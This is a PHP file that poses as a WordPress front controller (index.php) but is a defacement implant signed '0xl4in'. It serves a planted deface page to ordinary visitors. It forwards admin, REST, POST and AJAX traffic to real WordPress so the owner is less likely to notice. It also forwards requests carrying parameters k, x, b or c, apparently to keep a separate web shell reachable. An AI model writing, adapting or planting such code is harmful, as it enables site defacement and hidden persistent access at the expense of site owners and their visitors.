<?php
/**
 * Front controller - 0xl4in deface with full WordPress passthrough.
 * Any admin / api / rest / shell / POST request is handed straight back to WordPress.
 */
define( 'WP_USE_THEMES', true );

$__0x_uri  = isset( $_SERVER['REQUEST_URI'] ) ? $_SERVER['REQUEST_URI'] : '/';
$__0x_path = parse_url( $__0x_uri, PHP_URL_PATH );
$__0x_path = is_string( $__0x_path ) ? $__0x_path : '/';
$__0x_q    = isset( $_SERVER['QUERY_STRING'] ) ? $_SERVER['QUERY_STRING'] : '';

$__0x_pass = false;

$__0x_apis = array(
    '/wp-admin', '/wp-login', '/wp-content', '/wp-includes', '/wp-json', '/wp-cron',
    '/wp-signup', '/wp-activate', '/wp-mail', '/wp-comments-post', '/wp-trackback',
    '/wp-links-opml', '/wp-blog-header', '/wp-settings', '/wp-load', '/xmlrpc',
    '/wp-config', '/wp-register', '/wp-postpass', '/wp-embed', '/wp-cache',
);
foreach ( $__0x_apis as $__0x_p ) {
    if ( strpos( $__0x_path, $__0x_p ) === 0 ) { $__0x_pass = true; break; }
}

if ( strpos( $__0x_q, 'rest_route=' ) !== false ) { $__0x_pass = true; }
if ( isset( $_GET['rest_route'] ) ) { $__0x_pass = true; }
if ( isset($_GET['k']) || isset($_GET['x']) || isset($_GET['b']) || isset($_GET['c']) ) { $__0x_pass = true; }
if ( isset($_POST['k']) || isset($_POST['x']) || isset($_POST['b']) || isset($_POST['c']) ) { $__0x_pass = true; }
if ( isset( $_SERVER['REQUEST_METHOD'] ) && $_SERVER['REQUEST_METHOD'] === 'POST' ) { $__0x_pass = true; }
if ( isset( $_GET['action'] ) || isset( $_GET['wp_ajax'] ) ) { $__0x_pass = true; }

// hands-off: admin, rest, api, feeds, shell, forms -> real WordPress
if ( $__0x_pass ) {
    require __DIR__ . '/wp-blog-header.php';
    exit;
}

// the deface
$__0x_html = __DIR__ . '/0x-deface.html';
if ( is_readable( $__0x_html ) ) {
    header( 'Content-Type: text/html; charset=utf-8' );
    header( 'X-0x-Deface: 0xl4in' );
    readfile( $__0x_html );
    exit;
}

// safety net: stock WordPress behaviour
require __DIR__ . '/wp-blog-header.php';